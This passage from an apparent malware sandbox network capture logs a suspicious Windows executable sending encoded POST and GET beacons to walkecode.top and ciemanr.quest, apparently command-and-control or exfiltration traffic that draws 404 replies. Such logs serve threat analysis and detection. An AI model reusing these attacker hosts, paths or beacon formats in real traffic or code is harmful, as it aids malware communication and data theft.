Dec 12, 2024 00:19:11.739686966 CET	884	IN	Data Raw: 2b 2b 64 29 68 3c 3d 28 43 3d 74 5b 64 5d 29 26 26 43 3c 6c 26 26 28 6c 3d 43 29 3b 69 66 28 6c 2d 68 3e 4d 61 74 68 2e 66 6c 6f 6f 72 28 28 72 2d 66 29 2f 28 69 2b 31 29 29 29 74 68 72 6f 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 70 75 6e 79 63 Data Ascii: ++d)h<=(C=t[d])&&C<l&&(l=C);if(l-h>Math.floor((r-f)/(i+1)))throw RangeError("punycode_overflow (1)");for(f+=(l-h)*(i+1),h=l,d=0;d<v;++d){if((C=t[d])<h&&++f>r)return Error("punycode_overflow(2)");if(C==h){for(p=f,g=o;!(p<(s=g<=u?1:u+26<=g?26:g-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49850	124.71.162.21	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:19:17.815320969 CET	755	OUT	POST /qei1/ HTTP/1.1 Host: www.walkecode.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.walkecode.top Referer: http://www.walkecode.top/qei1/ Content-Length: 207 Connection: close Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36 Data Raw: 4c 44 56 6c 43 7a 3d 71 50 71 65 46 31 6a 45 70 67 71 6a 44 31 6b 37 4d 7a 6a 42 46 76 6d 51 2f 7a 32 6b 42 59 46 68 78 76 33 44 41 68 65 56 4d 70 54 51 7a 75 69 44 31 52 48 76 56 53 70 6a 71 4f 6c 6c 73 36 49 5a 75 70 63 6f 43 78 59 53 71 41 69 63 73 50 49 67 32 35 77 64 4a 6d 79 39 5a 76 79 4c 51 74 42 72 47 6a 54 6b 58 6e 31 39 52 77 4e 68 6c 2b 66 68 65 70 44 6e 67 6d 44 63 2f 4e 74 4a 78 32 59 44 55 76 52 47 5a 32 41 48 48 7a 62 65 63 48 35 63 45 35 58 53 64 59 64 4b 74 37 57 4a 39 72 4d 58 72 32 62 69 7a 77 4e 6a 35 4c 5a 74 59 77 7a 53 31 33 78 56 2b 65 4d 73 72 4f 6b 2b 6e 73 33 38 45 66 35 42 4b 45 49 3d Data Ascii: LDVlCz=qPqeF1jEpgqjD1k7MzjBFvmQ/z2kBYFhxv3DAheVMpTQzuiD1RHvVSpjqOlls6IZupcoCxYSqAicsPIg25wdJmy9ZvyLQtBrGjTkXn19RwNhl+fhepDngmDc/NtJx2YDUvRGZ2AHHzbecH5cE5XSdYdKt7WJ9rMXr2bizwNj5LZtYwzS13xV+eMsrOk+ns38Ef5BKEI=
Dec 12, 2024 00:19:19.280900002 CET	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 11 Dec 2024 23:19:19 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49856	124.71.162.21	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:19:20.532223940 CET	775	OUT	POST /qei1/ HTTP/1.1 Host: www.walkecode.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.walkecode.top Referer: http://www.walkecode.top/qei1/ Content-Length: 227 Connection: close Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36 Data Raw: 4c 44 56 6c 43 7a 3d 71 50 71 65 46 31 6a 45 70 67 71 6a 42 51 30 37 4c 55 33 42 4e 76 6d 58 6a 44 32 6b 62 6f 46 6c 78 76 7a 44 41 6c 50 49 4d 62 48 51 7a 4c 65 44 6e 46 72 76 55 53 70 6a 68 75 6c 6b 6f 36 4a 58 75 70 42 62 43 30 67 53 71 45 4b 63 73 4b 30 67 32 4f 45 65 4a 32 79 37 43 2f 79 4a 4e 64 42 72 47 6a 54 6b 58 6e 68 54 52 77 46 68 6c 75 76 68 4d 64 33 6b 2b 32 44 66 70 64 74 4a 6e 47 59 35 55 76 51 56 5a 31 46 73 48 77 6a 65 63 43 46 63 46 73 6a 52 47 49 64 4d 31 62 58 4f 34 72 4e 4f 6a 56 2f 7a 30 6a 6c 6c 6e 4c 52 51 64 47 43 34 76 56 35 39 74 2b 67 55 37 64 73 4a 32 63 57 56 65 38 70 78 55 54 64 74 67 49 39 55 2f 4b 4a 67 31 53 6e 65 73 7a 58 59 46 42 32 50 Data Ascii: LDVlCz=qPqeF1jEpgqjBQ07LU3BNvmXjD2kboFlxvzDAlPIMbHQzLeDnFrvUSpjhulko6JXupBbC0gSqEKcsK0g2OEeJ2y7C/yJNdBrGjTkXnhTRwFhluvhMd3k+2DfpdtJnGY5UvQVZ1FsHwjecCFcFsjRGIdM1bXO4rNOjV/z0jllnLRQdGC4vV59t+gU7dsJ2cWVe8pxUTdtgI9U/KJg1SneszXYFB2P
Dec 12, 2024 00:19:22.001977921 CET	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 11 Dec 2024 23:19:21 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49864	124.71.162.21	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:19:23.218812943 CET	1792	OUT	POST /qei1/ HTTP/1.1 Host: www.walkecode.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.walkecode.top Referer: http://www.walkecode.top/qei1/ Content-Length: 1243 Connection: close Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36 Data Raw: 4c 44 56 6c 43 7a 3d 71 50 71 65 46 31 6a 45 70 67 71 6a 42 51 30 37 4c 55 33 42 4e 76 6d 58 6a 44 32 6b 62 6f 46 6c 78 76 7a 44 41 6c 50 49 4d 62 66 51 79 35 47 44 31 30 72 76 46 69 70 6a 36 4f 6c 35 6f 36 4a 61 75 70 4a 58 43 31 63 6f 71 47 79 63 74 6f 73 67 30 37 6f 65 43 32 79 37 64 76 79 55 51 74 41 70 47 6a 44 67 58 6e 78 54 52 77 46 68 6c 74 33 68 63 5a 44 6b 38 32 44 63 2f 4e 74 46 78 32 5a 33 55 76 70 67 5a 32 70 61 45 41 44 65 66 69 31 63 48 65 37 52 62 59 64 4f 67 62 58 73 34 72 42 72 6a 56 54 2f 30 6a 67 79 6e 4a 42 51 63 53 62 33 32 68 4e 6b 36 66 67 51 33 4b 77 45 32 5a 47 7a 65 4e 51 4b 5a 52 68 78 70 35 46 43 71 50 78 58 7a 44 47 6f 31 48 53 58 55 6c 47 50 6e 6d 58 57 41 33 53 6e 6d 72 2f 64 41 30 53 4c 6a 38 43 63 55 4e 64 46 62 4c 43 37 64 69 67 64 39 4a 54 4c 54 44 49 64 46 66 53 66 45 71 54 4f 70 34 33 4e 32 62 41 61 59 4c 6c 73 59 35 35 6b 67 78 38 64 66 76 53 4a 49 6f 4e 34 6b 51 48 39 50 66 70 73 6f 72 63 59 63 2f 64 4a 42 4e 74 7a 4b 32 61 35 4a 56 39 55 78 2b 4b 58 43 43 45 [TRUNCATED] Data Ascii: LDVlCz=qPqeF1jEpgqjBQ07LU3BNvmXjD2kboFlxvzDAlPIMbfQy5GD10rvFipj6Ol5o6JaupJXC1coqGyctosg07oeC2y7dvyUQtApGjDgXnxTRwFhlt3hcZDk82Dc/NtFx2Z3UvpgZ2paEADefi1cHe7RbYdOgbXs4rBrjVT/0jgynJBQcSb32hNk6fgQ3KwE2ZGzeNQKZRhxp5FCqPxXzDGo1HSXUlGPnmXWA3Snmr/dA0SLj8CcUNdFbLC7digd9JTLTDIdFfSfEqTOp43N2bAaYLlsY55kgx8dfvSJIoN4kQH9PfpsorcYc/dJBNtzK2a5JV9Ux+KXCCErOHja5q5Q739VDgxodneWOoa8lV0l5SlNr/QkZVQm1kvHLAmFl55cTtba5IL59SrRGDQXjaIkI32S7VQtozq0SyVemaSTSppkDXXrldbQ/73Bs1nEiFxwDEteZYTHtmPdyxBn2Fat0zVraVIlv8h8kCuuqacc4OeRX6xpt443BtfoNGkoLAh4K1xLIPqBpsYmbGVBBh2p95A9jOeif044nEkVWkD1VuGxUvHa4VoEgGh7SlY0Zg77Z3bU4HpH4zGcZMFGpx2i3Wylrsw6YNHIZTWbF+t4ZjKMi0JDFFq8JQ9omCYq3R8JW/kS6DL8Me/lBg3P9/FR5hqulesB/a4QZcL58EZd4jFbgWCLn5M2m2ao9Eyh3JJE64BNV6x+7TioqWZ1qyN/YG+H+e4/yWcdN22N30dsPk4SZiZ7TudvVoWmj9DoOCDbqKOTYW3AHZ+wTdNXHHPk0q7x8TL/z8bUNVJsBjBlFtaX2sKothckCntwIoIBCpamHjUhcMZg7saapXs2oiHv6a75jGKobWw/RDUf93EF3rGUO6vEUzkXyEGPDp8H/dQpWlGbHCNGqVr6FMwZsaE/Qg2B2eGxM5lHwrZcoH/FPb5GgzlxdNw0sKlnsu1mGEwi1WcIcg8VjlrUB00SQL0GLVONh0jjNR0smWEaRzx7vVxyQ [TRUNCATED]
Dec 12, 2024 00:19:24.709273100 CET	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 11 Dec 2024 23:19:24 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49873	124.71.162.21	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:19:25.874519110 CET	504	OUT	GET /qei1/?LDVlCz=nNC+GBX2ggWuM05tEEqRTuHIkAvcf+dXy/bvByniPoLRj52NglzWV1Nft7BNtL9++4tRfUwg9XmNi4A2kp9kOCOyWvDUT5wtJii7I2tTBBgakefdRMv39WDJ4M987EpnCg==&NdLhG=cLCtFnqPUvutTbuP HTTP/1.1 Host: www.walkecode.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36
Dec 12, 2024 00:19:27.352281094 CET	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 11 Dec 2024 23:19:27 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49889	150.109.11.247	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:19:33.273760080 CET	755	OUT	POST /gejp/ HTTP/1.1 Host: www.ciemanr.quest Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.ciemanr.quest Referer: http://www.ciemanr.quest/gejp/ Content-Length: 207 Connection: close Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36 Data Raw: 4c 44 56 6c 43 7a 3d 4d 2b 4e 6b 4f 2b 34 56 69 74 30 62 78 30 2b 56 56 4a 43 72 32 46 77 65 68 76 65 62 54 31 36 61 44 6c 74 45 42 79 4c 6e 4f 33 5a 61 4c 4a 6d 4d 6f 78 46 54 36 33 72 56 62 38 35 78 49 7a 56 63 47 61 57 4c 38 76 39 77 71 52 62 64 73 4e 7a 32 4d 76 37 63 30 63 72 43 4b 66 63 43 76 6d 39 37 78 48 6e 6b 52 4b 51 54 57 72 67 49 52 6a 50 39 4a 47 73 37 61 34 2b 72 41 36 7a 31 56 7a 78 6c 47 34 37 6d 4e 4f 58 71 70 72 68 75 31 52 4c 68 6e 66 47 34 62 4f 77 68 52 4f 74 77 35 67 75 55 2f 5a 45 45 69 6b 61 74 64 46 4e 6d 55 57 52 71 58 71 75 48 61 7a 44 47 54 72 44 4a 50 69 57 77 70 73 70 44 32 4b 6b 3d Data Ascii: LDVlCz=M+NkO+4Vit0bx0+VVJCr2FwehvebT16aDltEByLnO3ZaLJmMoxFT63rVb85xIzVcGaWL8v9wqRbdsNz2Mv7c0crCKfcCvm97xHnkRKQTWrgIRjP9JGs7a4+rA6z1VzxlG47mNOXqprhu1RLhnfG4bOwhROtw5guU/ZEEikatdFNmUWRqXquHazDGTrDJPiWwpspD2Kk=
Dec 12, 2024 00:19:34.830887079 CET	708	IN	HTTP/1.1 404 Not Found Server: Tengine Date: Wed, 11 Dec 2024 23:19:34 GMT Content-Type: text/html; charset=utf-8 Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49896	150.109.11.247	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:19:35.938417912 CET	775	OUT	POST /gejp/ HTTP/1.1 Host: www.ciemanr.quest Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.ciemanr.quest Referer: http://www.ciemanr.quest/gejp/ Content-Length: 227 Connection: close Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36 Data Raw: 4c 44 56 6c 43 7a 3d 4d 2b 4e 6b 4f 2b 34 56 69 74 30 62 77 56 4f 56 51 75 75 72 30 6c 77 64 39 2f 65 62 64 56 37 54 44 6c 78 45 42 32 62 33 4f 6c 4e 61 4c 73 4b 4d 70 77 46 54 30 58 72 56 51 63 35 4f 47 54 56 56 47 61 53 44 38 71 64 77 71 52 6e 64 73 4d 44 32 50 59 58 44 31 4d 72 41 47 2f 63 41 77 57 39 37 78 48 6e 6b 52 4b 45 35 57 72 49 49 52 53 2f 39 49 6b 55 34 53 59 2b 73 44 36 7a 31 52 7a 78 70 47 34 36 31 4e 4c 50 41 70 74 74 75 31 51 37 68 70 74 69 37 4d 65 77 6e 66 75 73 56 2b 6a 79 66 2f 50 45 61 68 48 65 6f 4d 48 46 69 56 67 67 41 4e 49 6d 76 4a 54 76 2b 44 34 4c 2b 65 53 33 5a 7a 50 35 7a 6f 64 78 6a 51 70 2f 52 76 44 75 6d 75 59 63 53 6c 68 59 71 6d 30 58 67 Data Ascii: LDVlCz=M+NkO+4Vit0bwVOVQuur0lwd9/ebdV7TDlxEB2b3OlNaLsKMpwFT0XrVQc5OGTVVGaSD8qdwqRndsMD2PYXD1MrAG/cAwW97xHnkRKE5WrIIRS/9IkU4SY+sD6z1RzxpG461NLPApttu1Q7hpti7MewnfusV+jyf/PEahHeoMHFiVggANImvJTv+D4L+eS3ZzP5zodxjQp/RvDumuYcSlhYqm0Xg
Dec 12, 2024 00:19:37.480165005 CET	708	IN	HTTP/1.1 404 Not Found Server: Tengine Date: Wed, 11 Dec 2024 23:19:37 GMT Content-Type: text/html; charset=utf-8 Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49902	150.109.11.247	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
